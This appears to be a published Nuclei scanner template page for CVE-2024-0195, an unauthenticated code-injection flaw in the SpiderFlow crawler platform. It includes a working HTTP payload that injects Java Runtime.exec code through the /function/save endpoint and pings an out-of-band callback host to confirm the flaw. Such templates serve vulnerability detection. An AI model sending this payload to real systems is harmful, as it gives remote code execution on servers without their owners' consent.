SpiderFlow Crawler Platform - Remote Code Execution

ID: CVE-2024-0195

Severity: critical

Author: pussycat0x

Tags: cve,cve2024,spiderflow,crawler,unauth,rce,ssssssss

Description

A vulnerability, which was classified as critical, was found in spider-flow 0.4.3. Affected is the function FunctionService.saveFunction of the file src/main/java/org/spiderflow/controller/FunctionController.java. The manipulation leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249510 is the identifier assigned to this vulnerability.

YAML Source

id: CVE-2024-0195

info:
  name: SpiderFlow Crawler Platform - Remote Code Execution
  author: pussycat0x
  severity: critical
  description: |
    A vulnerability, which was classified as critical, was found in spider-flow 0.4.3. Affected is the function FunctionService.saveFunction of the file src/main/java/org/spiderflow/controller/FunctionController.java. The manipulation leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249510 is the identifier assigned to this vulnerability.
  reference:
    - https://github.com/Shelter1234/VulneraLab/blob/main/SpiderFlow/CVE-2024-0195/README.zh-cn.md
    - https://vuldb.com/?id.249510
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0195
    - https://vuldb.com/?ctiid.249510
    - https://github.com/Tropinene/Yscanner
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-0195
    cwe-id: CWE-94
    epss-score: 0.89846
    epss-percentile: 0.98769
    cpe: cpe:2.3:a:ssssssss:spider-flow:0.4.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ssssssss
    product: "spider-flow"
    fofa-query:
      - "app=\"SpiderFlow\""
      - app="spiderflow"
  tags: cve,cve2024,spiderflow,crawler,unauth,rce,ssssssss
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'SPIDER_FLOW_VERSION'

  - raw:
      - |
        POST /function/save HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest

        id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+{{interactsh-url}}')%3B%7B

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4b0a004830460221009f7d85f6523dbe17db24bb851b77bded553458cebcb2c98bf9631542d00170a8022100a11ec8958e34ec7104cc5271ffd12ba0d5e03b1527216873a41b55086da4f433:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-0195.yaml"

View on Github